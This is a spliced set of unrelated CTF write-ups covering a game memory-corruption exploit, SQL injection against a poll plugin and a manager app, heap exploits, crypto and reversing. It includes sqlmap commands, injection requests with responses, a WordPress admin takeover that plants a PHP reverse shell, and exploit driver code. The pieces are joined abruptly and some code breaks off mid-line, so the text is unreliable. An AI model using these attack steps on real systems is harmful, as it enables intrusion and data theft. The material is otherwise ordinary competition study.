The entry point immediately jumps to a `main` function at 0x3C67. This is an infinite loop (with a 255us delay) which reads the keyboard input, clears the framebuffer and renders the game. This last operation is handled by `render` at 0x380E, which calls either the USA/USSR selection rendering or the actual game rendering (`render_game` at 0x32D7).
Video memory is located at 0xA0000 and it's 320x200, row-major, 8bpp. Each pixel is a byte which identifies a color in a 256-color palette. The byte for the pixel at `(x, y)` is at offset `x + 320*y`, with `(0,0)` being the top-left corner of the screen. The game keeps a framebuffer with the same exact format at 0x10000. Drawing happens pixel-for-pixel on the framebuffer via the `draw_pixel(short x, short y, char color)` function at 0x3825. After the framebuffer is ready, the function at 0x3884 copies it to video memory.
When choosing the missile target, we use the arrow keys to control an small scope that looks like this:
``` xx x x```
Where `x` marks a colored pixel. One of the first things I discovered is that you can freely change the color with the `Q` (increment) and `A` (decrement) keys.
At this point I also noticed the first vulnerability. The arrow keys control the *center* of the scope. The coordinates of the center are checked to ensure they stay within bounds. This, however, doesn't ensure that the *whole* cross is inside the screen! If we have the scope at `(x, 0)`, the top colored pixel will be at `(x, -1)`, which writes before the framebuffer. Similarly, the bottom pixel of a cross placed at the bottom of the screen will be written after the framebuffer. Since we can set whatever color we want, we control a full row (i.e., 320 bytes) before and after the framebuffer. Those values are not zeroed when clearing the framebuffer, as they lay outside of it.
Unfortunately, this is not enough by itself. There's nothing interesting after the framebuffer. The stack is placed before the buffer (grows backwards from 0xF000), but we can't reach it. However, we now have a simple way to place arbitrary data at known places in memory, which will probably come in handy during exploitation.
Another thing I noticed is that missile trails can go outside the framebuffer, too. For example, if the target is high enough the top part of the curve will be drawn at negative ordinates. Since those trails can be quite high, maybe we can use them to write to interesting places in memory. Code ends at 0x3C7C, so reaching it would require a trail that underflows by 156 or so rows. That might be hard. However, the stack is much closer and only requires 13 or so rows, which should be doable. Moreover, the trail's color is the same as the scope's color, so we control the written values.
I started playing with the trails to see if I could trigger a crash, and indeed I could. I was really just messing with it by hand, which was not very reproductible, so I thought of a better testing pattern. For each base, I would line up the scope with it, then go up to the top of the screen, then launch the missile. In the end this means that the scope would have the abscissa of the base and a zero ordinate. This was motivated because closer abscissae between base and target, and higher targets, resulted in higher trails, so I was maximizing the trail's height and damage to the stack.
I found that this pattern only triggered a crash on the leftmost USA base. I'm sure there are other positions that can trigger crashes, but as we'll see I was pretty lucky with what I found. I started investigating: the crash seemed to hijack control flow to some random address, then it would slide until it reached a instruction that performed an invalid memory access. It wasn't clear where the hijack happened. I wasted a lot of time reversing the code that calculated the trail, which in the end I didn't need. After a while I adopted a faster approach: I wrote a [small GDB Python script](./scripts/trace.py) that traced all the pixels written inside the stack by the trail. To do this, I breakpointed the call to `draw_pixel` inside the function that drew the two trails and collected the coordinates that resulted in writes before 0xF000. For some reason I couldn't get conditional breakpoints to work in GDB Python, so I did the filtering inside my breakpoint handler. This method is slow, and I'm sure there are better ways, but it was quick to write and worked well enough for the crashing target. It's late night in a CTF, ain't nobody got time for good code.
To run the script you need to launch QEMU with the `-s` option, so that it spawns a gdbserver on port 1234. Then run the script, launch your missile and once the slow-motion trail reaches the top of the screen the negative coordinates will start rolling out on your console:
```$ ./trace.py[...]57 -13 0xeff957 -14 0xeeb957 -15 0xed7957 -16 0xec3957 -17 0xeaf957 -18 0xe9b9```
Now I wanted to analyze those addresses and see what it was overwriting to crash the game. I set a conditional breakpoint on the same call to `draw_pixel` and looked at the addresses from that clean state: since the stack trace to that call was always the same, I had the correct picture of the stack.
The stack pointer at that breakpoint was 0xEF8A, so the only written address within the active stack was 0xEFF9. Looking around it yields a promising result:
```(gdb) x/2hx 0xeff80xeff8: 0xeffc 0x381e```
That 0x381E looks like a code address. Maybe it's a return address? Indeed, it's inside `render`, right after the call to the game rendering function. If this is the case, we're overwriting the MSB of the saved base pointer for `render` inside the `render_game` stack frame, which would be great news.
Okay, let's see if we're right. I set a conditional breakpoint on drawing `(57, -13)`. From there, I breaked at 0x381E and checked out the base pointer.
```(gdb) b *0x3956 if *((short*)($sp+0))==57 && *((short*)($sp+2))==-13Breakpoint 1 at 0x3956(gdb) cContinuing.Breakpoint 1, 0x00003956 in ?? ()(gdb) b *0x381eBreakpoint 2 at 0x381e(gdb) cContinuing.Breakpoint 2, 0x0000381e in ?? ()(gdb) p/x $bp$1 = 0xcfc```
Look at that! The default color of the scope (red) is 0x0C. Indeed, the base pointer's MSB has been corrupted to that exact value. Remember we fully control the color, so we have full control over that base pointer's MSB. I was very lucky here. I don't know if this was intended, but if I hadn't found something like this I'd have had to fully reverse the trail calculations.
```(gdb) set architecture i8086(gdb) x/4i $eip=> 0x381e: add $0x0,%sp 0x3821: mov %bp,%sp 0x3823: pop %bp 0x3824: ret```
We have a standard epilogue, which moves `bp` into `sp` and pops `bp`. Since there's a 2 byte pop, the stack pointer at `ret` (i.e., the location of the return address) will have a LSB of 0xFE.
A plan starts to form: we could use the scope's top pixel to write a fake return address to an address with 0xFE LSB, then use the trail corruption to set the saved BP's MSB properly, so that when `render` moves `bp` into `sp` it pivots onto our fake stack and then returns to the address we choose.
When choosing the addresses for our payload we have to keep in mind that the upper-left side above the framebuffer could be corrupted by the trail. So we have to go with either the right side of the row above the framebuffer, or with the row below the framebuffer. However, the address must be below 0x10000 (because the original BP is 0xEFFC and we only control the MSB). So right side of the row above the framebuffer it is. I chose to write the fake retaddr at 0xFFFE (extreme right of that row), which means the trail color hasa to be 0xFF. To write a byte at `0xfec0 + x` we simply set the color to the value we want and position the scope at `(x, 0)`, so that the top pixel at `(x, -1)` will do the job. Then we move it back down to `(x, 1)` so that we can move horizontally for the next write without corrupting the byte we just wrote.
Let's start with the "library" part (QEMU seems to ignore synthetic events, so we have to activate the window to go through XTEST):
```pythonimport timeimport subprocessimport struct
WINDOW_TITLE = '^QEMU(.*VNC)?$'WINDOW_ID = subprocess.check_output(['xdotool', 'search', '--limit', '1', '--name', WINDOW_TITLE]).strip()
# may need higher values for remoteDELAY_MAP_DRAW_S = 6DELAY_KEYPRESS_MS = 12
scope_x = 160scope_y = 100scope_color = 0x0c
def activate_window(): subprocess.check_call(['xdotool', 'windowactivate', WINDOW_ID])
def press(keys): subprocess.check_call(['xdotool', 'key', '--delay', str(DELAY_KEYPRESS_MS)] + list(keys)) time.sleep(DELAY_KEYPRESS_MS / 1000.0)
def auth(): press(['minus', 'J', 'O', 'S', 'H', 'U', 'A', 'minus'])
def select_blessed_base(): press(['Return']) time.sleep(DELAY_MAP_DRAW_S) press(['Left', 'Left', 'Return'])
def move_scope_x(x): global scope_x if x < scope_x: press(['Left'] * (scope_x - x)) elif x > scope_x: press(['Right'] * (x - scope_x)) scope_x = x
def move_scope_y(y): global scope_y if y < scope_y: press(['Up'] * (scope_y - y)) elif y > scope_y: press(['Down'] * (y - scope_y)) scope_y = y
def set_scope_color(color): global scope_color if color < scope_color: press(['a'] * (scope_color - color)) elif color > scope_color: press(['q'] * (color - scope_color)) scope_color = color
def write_byte(addr, val): assert(0xfec0 <= addr <= 0xffff) set_scope_color(val) move_scope_x(addr - 0xfec0) move_scope_y(0) move_scope_y(1)
def trigger_trail(retaddr_addr): assert(0 <= retaddr_addr <= 0xffff and retaddr_addr & 0xff == 0xfe) set_scope_color(retaddr_addr >> 8) move_scope_x(60) move_scope_y(0) press(['Return'])
activate_window()auth()select_blessed_base()```
Now we can write our payload. I decided to inject a small infinite loop shellcode before the fake return address, at 0xFFFC. Before running the script you need to start QEMU and wait until the login prompt. Don't mess with the focus.
```pythonRETADDR_ADDR = 0xfffeSHELLCODE = '\xeb\xfe'PAYLOAD_ADDR = RETADDR_ADDR - len(SHELLCODE)PAYLOAD = SHELLCODE + struct.pack(' |
They give us the flag, right? So we just copy and paste the "flag", `tpctf{nеv3r_7h15_3z}`, and see that it fails. What?! Let me type it out letter by letter. Hey, it works! `tpctf{nev3r_7h15_3z}`
Note: the second 'e' in the "flag" is actually a ['CYRILLIC SMALL LETTER IE' (U+0435)](http://www.fileformat.info/info/unicode/char/0435/index.htm) |
# Hack Dat Kiwi 2017## PS4
## Information**Category:** | **Points:** | **Author:**--- | --- | ---Crypto | 120 | Ben Burnett
## DescriptionWe are presented with a php script responsible for encryption and decryption along with three parameters for configuring it:```BLOCK_SIZE = 16;SEED = 999999;ROUNDS = 4;```
We are presented with a large block of ciphertext, and asked to decrypt it.
This is the same encryption script that PS1 and PS2 use, but the parameters are different. Most interestingly the encryption goes through four rounds.
## SolutionI don't want to repeat too much from the PS1 or PS2 write-up, so I'll assume that you have read that one first.Again, the major difference here is that the encryption goes through four passes.This means that each piece of cipher text is encrypted by four, probably different, pieces of the key.
The plan of attack here is to use the solution for PS2 but scale it to run two more loops.Obviously we can't do 256^4 solutions for each character of ciphertext so we make some optimizations.* We look to start with a column that reuses part of the key. This reduces the space to 256^3.* Once we solve a character in a column we feed that reduced solution set in to the next character instead of doing 256^3 for each character.* Once we solve a column we reuse those solved key components to speed up the solves of the remaining columns.
You will find the complete script in `ps4.py`. It does take a bit to calculate the first column, but in the end you get the following output after solving only 8/16 columns:```0 = k[0] k[3] k[14] k[12]1 = k[1] k[11] k[6] k[5]2 = k[2] k[15] k[0] k[2]3 = k[3] k[10] k[11] k[15]4 = k[4] k[2] k[1] k[9]5 = k[5] k[6] k[15] k[10]6 = k[6] k[14] k[10] k[3]7 = k[7] k[9] k[13] k[4]8 = k[8] k[7] k[4] k[8]9 = k[9] k[0] k[8] k[11]10 = k[10] k[12] k[3] k[7]11 = k[11] k[5] k[2] k[13]12 = k[12] k[4] k[12] k[14]13 = k[13] k[8] k[7] k[1]14 = k[14] k[13] k[9] k[0]15 = k[15] k[1] k[5] k[6]Solving column 12 ...Solves 0: 6619136Solves 1: 2593480Solves 2: 1011669Solves 3: 390933Solves 4: 150284Solves 5: 57409Solves 6: 21847Solves 7: 8343Solves 8: 8343Solves 9: 8343Solves 10: 3166Solves 11: 1160Solves 12: 1160Solves 13: 409Solves 14: 409Solves 15: 409Solves 16: 157Solves 17: 157Solves 18: 157Solves 19: 50Solves 20: 13Solves 21: 4Solves 22: 4Solves 23: 2Solves 24: 1Solving column 0 ...Solves 0: 25856Solves 1: 10180Solves 2: 3967Solves 3: 1569Solves 4: 1569Solves 5: 1569Solves 6: 633Solves 7: 633Solves 8: 633Solves 9: 243Solves 10: 243Solves 11: 83Solves 12: 35Solves 13: 10Solves 14: 10Solves 15: 10Solves 16: 10Solves 17: 10Solves 18: 10Solves 19: 10Solves 20: 10Solves 21: 4Solves 22: 4Solves 23: 4Solves 24: 4Solves 25: 1Solving column 6 ...Solves 0: 25856Solves 1: 9900Solves 2: 3777Solves 3: 3777Solves 4: 1434Solves 5: 552Solves 6: 219Solves 7: 101Solves 8: 101Solves 9: 101Solves 10: 34Solves 11: 34Solves 12: 12Solves 13: 12Solves 14: 12Solves 15: 5Solves 16: 3Solves 17: 3Solves 18: 3Solves 19: 2Solves 20: 2Solves 21: 2Solves 22: 2Solves 23: 1Solving column 5 ...Solves 0: 25856Solves 1: 10136Solves 2: 4016Solves 3: 1572Solves 4: 609Solves 5: 255Solves 6: 92Solves 7: 30Solves 8: 30Solves 9: 15Solves 10: 15Solves 11: 15Solves 12: 15Solves 13: 15Solves 14: 4Solves 15: 3Solves 16: 3Solves 17: 3Solves 18: 3Solves 19: 3Solves 20: 1Solving column 1 ...Solves 0: 25856Solves 1: 10172Solves 2: 10172Solves 3: 4124Solves 4: 4124Solves 5: 4124Solves 6: 1645Solves 7: 1645Solves 8: 1645Solves 9: 662Solves 10: 662Solves 11: 264Solves 12: 100Solves 13: 100Solves 14: 100Solves 15: 100Solves 16: 100Solves 17: 40Solves 18: 40Solves 19: 40Solves 20: 15Solves 21: 5Solves 22: 5Solves 23: 2Solves 24: 2Solves 25: 2Solves 26: 1Solving column 2 ...Solves 0: 25856Solves 1: 10184Solves 2: 10184Solves 3: 3883Solves 4: 1418Solves 5: 519Solves 6: 519Solves 7: 519Solves 8: 519Solves 9: 225Solves 10: 225Solves 11: 225Solves 12: 84Solves 13: 26Solves 14: 12Solves 15: 6Solves 16: 3Solves 17: 3Solves 18: 3Solves 19: 3Solves 20: 2Solves 21: 2Solves 22: 2Solves 23: 1Solving column 9 ...Solves 0: 25856Solves 1: 10276Solves 2: 4086Solves 3: 1557Solves 4: 590Solves 5: 590Solves 6: 590Solves 7: 590Solves 8: 215Solves 9: 215Solves 10: 98Solves 11: 32Solves 12: 10Solves 13: 4Solves 14: 1Solving column 7 ...Solves 0: 25856Solves 1: 10268Solves 2: 4054Solves 3: 1606Solves 4: 636Solves 5: 237Solves 6: 237Solves 7: 237Solves 8: 237Solves 9: 88Solves 10: 88Solves 11: 33Solves 12: 13Solves 13: 7Solves 14: 7Solves 15: 7Solves 16: 7Solves 17: 7Solves 18: 7Solves 19: 2Solves 20: 2Solves 21: 2Solves 22: 2Solves 23: 2Solves 24: 2Solves 25: 2Solves 26: 2Solves 27: 2Solves 28: 2Solves 29: 1md5 = 83fd68205d7e294be2267fe68a2850d3```And we can use the md5 `83fd68205d7e294be2267fe68a2850d3` in the php script to decrypt the message.
|
It is a typical reverse engineering task where we have to get the password (that in this case is the flag). For this purpose I have used the tools, objdump and radare2, and Python to develop the solution.
https://github.com/Sinkmanu/CTF/tree/master/TUCTF-2017-Unknown |
OK go look at the script and it basically converts string to hex, then decimal, then adds 0. in front to make a decimal. Then it multiplies by pi and subtracts pi/2. Then it takes cosine and takes away 0. in front, then takes that number and converts it into hex and outputs it. Take the output, convert to 0.decimal and do inverse cosine then add pi/2 and divide by pi, using https://apfloat.appspot.com/. better writeup later lmao |
I'm sorry, my English is not enough to use English to describe the details. Writeup will try my best to use standard Chinese which is easy to translate.
https://lorexxar.cn/2017/11/15/hctf2017-restore-world/#A-World-Restored-Again |
- Plain text (input) is a list of eleven numbers.- Both secret key and public key are prime numbers from 2806 to 3060.- Public key is 2909. The secret key is other than 2909.- The encryption algorithm is as follows.
CipherText = (seckey x 11 x input) % pubkey + randint(1 to 3)
---I programed a simple Python script and got the following two answers.
```seckey = 2953input = [14, 17, 20, 23, 14, 11, 20, 23, 14, 26, 11]
seckey = 3041input = [4, 5, 6, 7, 4, 3, 6, 7, 4, 8, 3]```But neither answer was wrong.At this time, I did not know the reason.
---When I checked the problem around 7:00[UTC], the problem sentence was changed.
Before:
```The flag will be 'flag{sha256 of the concatenated digits of the plain text}'.
Cipher: 1445, 2897, 1438, 2890, 1444, 2901, 1439, 2891, 1444, 1435, 2902
Public Key: 2909```
After:
```Cipher Text: [483, 1144, 1803, 1323, 483, 2643, 1802, 1983, 484, 1804, 2641]
Public Key: 2819
The flag will be 'flag{md5 of the secret key}'.```
The correct answer was below.
flag{md5(2879)}
= flag{ec8b57b0be908301f5748fb04b0714c7} |
Tl;dr images are stored as BGRA (with pre-multiplied alpha) or BGR.See [this post](http://telegra.ph/Riders-on-the-space--Juniors-CTF-game-modding-500-write-up-12-05) for details. [Python packer.](https://pastebin.com/JSypHtAh) |
Target is a WordPress installation with the plugin "Simply Poll 1.4.1" which is known to be SQL Injectable at the pollid parameter.
go to http://target/wp-login.php and request a password reset for 'admin', so the user_activation_key field in wp_users gets populated.
fire up sqlmap:
*sqlmap -u "http://target/wp-admin/admin-ajax.php" --data="action=spAjaxResults&pollid=2" --dump -D wordpress --threads=10 --random-agent --dbms=mysql --level=5 --risk=3*
after a while, sqlmap will dump the database, find the user_activation_key, go to http://target/wp-login.php?action=rp&login=admin&key=[the_user_activation_key]set a password for admin, then log in.
Go to the theme editor and edit the 404 template for the twentyseventeen theme, replace it with a php reverse shell like https://github.com/mbs3c/wordy/blob/master/php-reverse-shell.php, set the IP and port of a box with a reverse netcat listener, save, then go to http://target/wp-content/themes/twentyseventeen/404.phpin the reverse shell, navigate to /var/www/html, grep the DB connection parameters from wp-config.php, then peek around mysql. Don't try to run an interactive mysql shell, it won't work, use '-e [cmd]' instead.
*mysql -uroot -pXXXXX -e 'show databases;'*
this shows there's an SHX database, let's see what's inside
*mysql -uroot -pXXXXX SHX -e 'show tables';*
there should be just one table, select * from it, enjoy your flag.
|
# ▼▼▼Management(Web:60)、51/484=10.5%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```I've created a new website so you can do all your important management. It includes users, creating things, reading things, and... well, not much else. Maybe there's a flag?Second instance running at 52.90.229.46:8558
tpctf{san1t1z3_y0ur_1npu7s} is not the correct flag. Look harder ;)Note: the flag format is flag{}, not the usual tpctf{}
Author: Kevin Higgs
Hint・Those names seem interesting...
・hint.pngmariaDB[sqli]> SELECT * from users;+-------------+---+---+---+---+---+---+---+---+---+| name | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 |+-------------+---+---+---+---+---+---+---+---+---+|custom-kevin | | | | | | | | | |```
-----
### 【機能を把握する】
・ログイン機能
・1~9の数字を選択して、Createしてデータベースに書き込む機能
・1~9の数字を選択して、Readでデータベースから読み込む機能
-----
まずは`1`に`testtest1`とデータを登録してみる。
↓```POST / HTTP/1.1Host: 52.90.229.46:8558Content-Type: application/x-www-form-urlencodedCookie: user=testContent-Length: 38
number=1&value=testtest1&action=Create```↓```HTTP/1.1 200 OKHost: 52.90.229.46:8558Connection: closeX-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1Content-type: text/html; charset=UTF-8
<h1>Welcome to manager!</h1>Hello, test!Please select your number: <form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option> <option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select> Value (if creating): <input type='text' name='value'></input> <input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>```
-----
次に、`1`からデータを読み込んでみる
↓```POST / HTTP/1.1Host: 52.90.229.46:8558Content-Type: application/x-www-form-urlencodedCookie: user=testContent-Length: 31
number=1&value=test&action=Read```↓```HTTP/1.1 200 OKHost: 52.90.229.46:8558Connection: closeX-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1Content-type: text/html; charset=UTF-8
SELECT `1` FROM users WHERE name = 'custom-test';Result: testtest1<h1>Welcome to manager!</h1>Hello, test!Please select your number: <form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option> <option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select> Value (if creating): <input type='text' name='value'></input> <input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>```↓
下記のようなSQL文が表示されて、`testtest1`が取得できた。```SELECT `1` FROM users WHERE name = 'custom-test';Result: testtest1```
↓
`Cookie: user`と`number`がSQL文に挿入されるようだ
-----### 【脆弱性を探す】
`Cookie: user`はシングルクウォートがエスケープ処理されていた。
`number`はインジェクションできるようだ。
-----### 【データを取得する】
Hintに`MariaDB`との記載がある。
↓
`users`以外のテーブル名を取得しに行く
↓
```POST / HTTP/1.1Host: 52.90.229.46:8558Content-Type: application/x-www-form-urlencodedCookie: user=testContent-Length: 111
number=table_name`+from+information_schema.tables+where+table_schema=database()+limit+0,1--+&value=&action=Read```↓```HTTP/1.1 200 OKHost: 52.90.229.46:8558Connection: closeX-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1Content-type: text/html; charset=UTF-8
SELECT `table_name` from information_schema.tables where table_schema=database() limit 0,1-- ` FROM users WHERE name = 'custom-test';Result: users<h1>Welcome to manager!</h1>Hello, test!Please select your number: <form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option> <option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select> Value (if creating): <input type='text' name='value'></input> <input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>```↓
`limit 0,1` ⇒ `Result: users`
`limit 1,1` ⇒ `Result:`
↓
`users`テーブルのみであることがわかった
---
`name`,`1`~`9`以外のカラム名を取得しに行く
↓
```POST / HTTP/1.1Host: 52.90.229.46:8558Content-Type: application/x-www-form-urlencodedCookie: user=testContent-Length: 122
number=column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1--+&value=&action=Read```
↓```HTTP/1.1 200 OKHost: 52.90.229.46:8558Connection: closeX-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1Content-type: text/html; charset=UTF-8
SELECT `column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: name<h1>Welcome to manager!</h1>Hello, test!Please select your number: <form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option> <option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select> Value (if creating): <input type='text' name='value'></input> <input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>```↓```SELECT `column_name`from/**/information_schema.columns/**/where/**/table_name='users'/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: name```
limit句を1つずつ増やしてカラム名を全て取得していく。
`/limit/**/0,1` ⇒ `Result: name`
`/limit/**/1,1` ⇒ `Result: 1`
`/limit/**/2,1` ⇒ `Result: 2`
`/limit/**/3,1` ⇒ `Result: 3`
`/limit/**/4,1` ⇒ `Result: 4`
`/limit/**/5,1` ⇒ `Result: 5`
`/limit/**/6,1` ⇒ `Result: 6`
`/limit/**/7,1` ⇒ `Result: 7`
`/limit/**/8,1` ⇒ `Result: 8`
`/limit/**/9,1` ⇒ `Result: 9`
`/limit/**/10,1` ⇒ `Result:`
↓
結局、カラムは`name`,`1`~`9`のみであった。
---
次に、`name`カラムの値を取得しに行く ※Hintを見ていれば、ここからできる
↓```POST / HTTP/1.1Host: 52.90.229.46:8558Content-Type: application/x-www-form-urlencodedCookie: user=testContent-Length: 63
number=name`from/**/users/**/limit/**/0,1--+&value=&action=Read```↓```HTTP/1.1 200 OKHost: 52.90.229.46:8558Connection: closeX-Powered-By: PHP/7.0.22-0ubuntu0.16.04.1Content-type: text/html; charset=UTF-8
SELECT `name`from/**/users/**/limit/**/0,1-- ` FROM users WHERE name = 'custom-test';Result: custom-Hi<h1>Welcome to manager!</h1>Hello, test!Please select your number: <form method='post'><select name='number'><option value='1'>1</option><option value='2'>2</option><option value='3'>3</option><option value='4'>4</option> <option value='5'>5</option><option value='6'>6</option><option value='7'>7</option><option value='8'>8</option><option value='9'>9</option></select> Value (if creating): <input type='text' name='value'></input> <input type='submit' value='Read' name='action'></input><input type='submit' value='Create' name='action'></input>```
↓
`/limit/**/0,1--+` ⇒ `Result: custom-Hi`
`/limit/**/1,1--+` ⇒ `Result: flag{aLW4ys_ESC4PE_3v3rYTH1NG!!!!!}`
↓
`flag{aLW4ys_ESC4PE_3v3rYTH1NG!!!!!}` |
TL;DR Arbitrary overwrite
Overwrite free_hook with system and pop shell
Complete write up [here](https://jkrshnmenon.wordpress.com/2017/10/19/hack-lu-2017-heapheaven-write-up/) |
Simple BOF vulnerability is in the **vote** routine.If vote to **"oshima"**, we can overwrite chunk pointer and vote number.So, we can continuously write everywhere with arbitary 1byte.I use one_gadget and overwrite **__malloc_hook**. |
# unknown
Let's take a look at the binary:
```$ file unknown unknown: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=53ec94bd1406ec6b9a28f5308a92e4d906444edb, stripped$ ./unknown Try again.$ ./unknown gimme_flagStill nope.```
So this is a 64 bit elf, that appears to take input as an argument. Let's look at the code:
```signed __int64 __fastcall main(int argc, char **argv, char **a3){ signed __int64 result; // rax@2 unsigned int i; // [sp+14h] [bp-Ch]@5 char *argument; // [sp+18h] [bp-8h]@5
if ( argc == 2 ) { if ( strlen(argv[1]) == 56 ) { argument = argv[1]; for ( i = 0; i < 0x38; ++i ) { if ( (unsigned int)first_layer((__int64)argument, i) ) check = 1; } if ( check ) puts("Nope."); else printf("Congraz the flag is: %s\n", argument, argv); result = 0LL; } else { puts("Still nope."); result = 0xFFFFFFFELL; } } else { puts("Try again."); result = 0xFFFFFFFFLL; } return result;}```
So we can see here, it checks to see that the length of the first argument is 56 bytes. It then runs a for loop 56 (0x38) times in which it runs the function `first_layer` with the arguments being our input, and the iteration count. We see that it is ran in an if then statement, and if it is true `check` is set equal to one. We can see that if `check` is set equal to one, then we don't have the flag. So we need to make sure `first_layer` always outputs false. Let's take a look at `first_layer`:
```__int64 __fastcall first_layer(__int64 argument, __int64 i){ char *v2; // r15@1 __int64 v3; // rdx@1 int v4; // ebx@1 signed __int64 v5; // rcx@1 __int64 v6; // rax@3 int v7; // eax@3 char v9; // [sp+0h] [bp-8h]@1
v2 = &v9 - 6004; v3 = 0LL; v4 = 0; v5 = 0LL; do { ++v5; v4 += 666; } while ( v5 < 0x2F ); LOBYTE(v3) = *(_BYTE *)(argument + i); *((_QWORD *)v2 + 1) = v3; v6 = sub_400A1C((__int64)(v2 + 8), 1u); v7 = __ROL4__((v4 + 35) * (unsigned __int64)sub_401BDD((const char *)(v6 + 24), 16), 21); return v7 != (unsigned int)*(_QWORD *)((char *)&desired_output + 4 * i);}```
We can see there is a good bit going on here. However at the end of the day, that return value is all that matters. Let's set a breakpoint for that compare instruction in gdb (0x401f20) and see what the values are:
```gdb-peda$ b *0x401f20Breakpoint 1 at 0x401f20gdb-peda$ r 00000000000000000000000000000000000000000000000000000000Starting program: /Hackery/tuctf/unkown/unknown 00000000000000000000000000000000000000000000000000000000
[----------------------------------registers-----------------------------------]RAX: 0x63e13f5f RBX: 0x7a69 ('iz')RCX: 0x32449a7fdfab57a RDX: 0x0 RSI: 0x0 RDI: 0x7ffff7b85860 --> 0x2000200020002 RBP: 0x7fffffffdf30 --> 0x401ce0 (push r15)RSP: 0x7fffffffdf00 --> 0x7fffffffdf30 --> 0x401ce0 (push r15)RIP: 0x401f20 --> 0x1b80a74c839 R8 : 0x0 R9 : 0x0 R10: 0x7ffff7b84f60 --> 0x100000000 R11: 0x7ffff7b85860 --> 0x2000200020002 R12: 0x0 R13: 0x7fffffffe010 --> 0x2 R14: 0x7fffffffdf00 --> 0x7fffffffdf30 --> 0x401ce0 (push r15)R15: 0x7fffffffc78c --> 0x0EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x401f0f: rol eax,0x15 0x401f12: movabs rcx,0x401dac 0x401f1c: mov rcx,QWORD PTR [rcx+rsi*4]=> 0x401f20: cmp eax,ecx 0x401f22: je 0x401f2e 0x401f24: mov eax,0x1 0x401f29: mov rsp,r14 0x401f2c: pop rbp[------------------------------------stack-------------------------------------]0000| 0x7fffffffdf00 --> 0x7fffffffdf30 --> 0x401ce0 (push r15)0008| 0x7fffffffdf08 --> 0x401c82 (test eax,eax)0016| 0x7fffffffdf10 --> 0x7fffffffe018 --> 0x7fffffffe345 ("/Hackery/tuctf/unkown/unknown")0024| 0x7fffffffdf18 --> 0x200400600 0032| 0x7fffffffdf20 --> 0xffffe010 0040| 0x7fffffffdf28 --> 0x7fffffffe363 ('0' <repeats 56 times>)0048| 0x7fffffffdf30 --> 0x401ce0 (push r15)0056| 0x7fffffffdf38 --> 0x7ffff7a303f1 (<__libc_start_main+241>: mov edi,eax)[------------------------------------------------------------------------------]Legend: code, data, rodata, value
Breakpoint 1, 0x0000000000401f20 in ?? ()gdb-peda$ p $eax$1 = 0x63e13f5fgdb-peda$ p $ecx$2 = 0xfdfab57agdb-peda$ ```So the `eax` register hold the result of our input, and the `ecx` register holds the value that it is being compared against. We can tell this by the fact that `ecx` holds hex characters that are in `desired_output` when we check the data in it. In addition to that, when we go the next check, we see that the value in `ecx` changes while `eax` does not (all 56 bytes of our input were the same). This also tells us that the position of a specific character in our input doesn't change it's value.
Remember we need the function to output false, and the check is if the two values are not equal, so we need the two values to be equal.
So instead of going through and reversing this challenge, we can just skip that, look at at if the values it is comparing it against, and the result of what the output of characters we give it and use that to figure out what characters we need to in order to pass the checks.
Looking at the format of previous flags, we would probably have the eight characters `TUCTF{_}`, undercase characters and digits in the flag. It holds true with this. This is the output of all of those characters:
```alphabet:!: 0xba165ea7_: 0xff20bdef{: 0x59e2eb0d}: 0xef1b84cdq: 0x2c6485d5w: 0x5ed756d7e: 0xb623c6c1r: 0xcd78354et: 0xc863df45y: 0x12a92a61u: 0xb59d1071i: 0x67258d77o: 0x408a2c4bp: 0xf2184419l: 0x9239bdf3c: 0xf62c7f9bm: 0xd6338e84f: 0x388d98700: 0x63e13f5f1: 0x3ca8bfdc2: 0xdd0e6ec03: 0x5cfff0234: 0xceecc5ba5: 0xcc1be3176: 0x2ff351447: 0xc51f928e8: 0xb67059109: 0x26552da4T: 0xfdfab57aU: 0x032449a7C: 0x5f383821F: 0x25435e02```
here is the list of the 56 checks it does:
```checks:0xfdfab57a TUCFT{0x032449a70x5f3838210xfdfab57a0x25435e020x59e2eb0d
0x5ed756d7 w3lc0m3_0x5cfff0230x9239bdf30xf62c7f9b0x63e13f5f0xd6338e840x5cfff0230xff20bdef
0xc51f928e 70_0x63e13f5f0xff20bdef
0xc51f928e 7uc7f_0xb59d10710xf62c7f9b0xc51f928e0x388d98700xff20bdef
0xceecc5ba 4nd_0xa952136b0x967108410xff20bdef
0xc51f928e 7th4nk_ check 70xf536dffd0xceecc5ba0xa952136b0xc5d7dac40xff20bdef
0x12a92a61 y0u_0x63e13f5f0xb59d10710xff20bdef
0x388d9870 f0r_0x63e13f5f0xcd78354e0xff20bdef
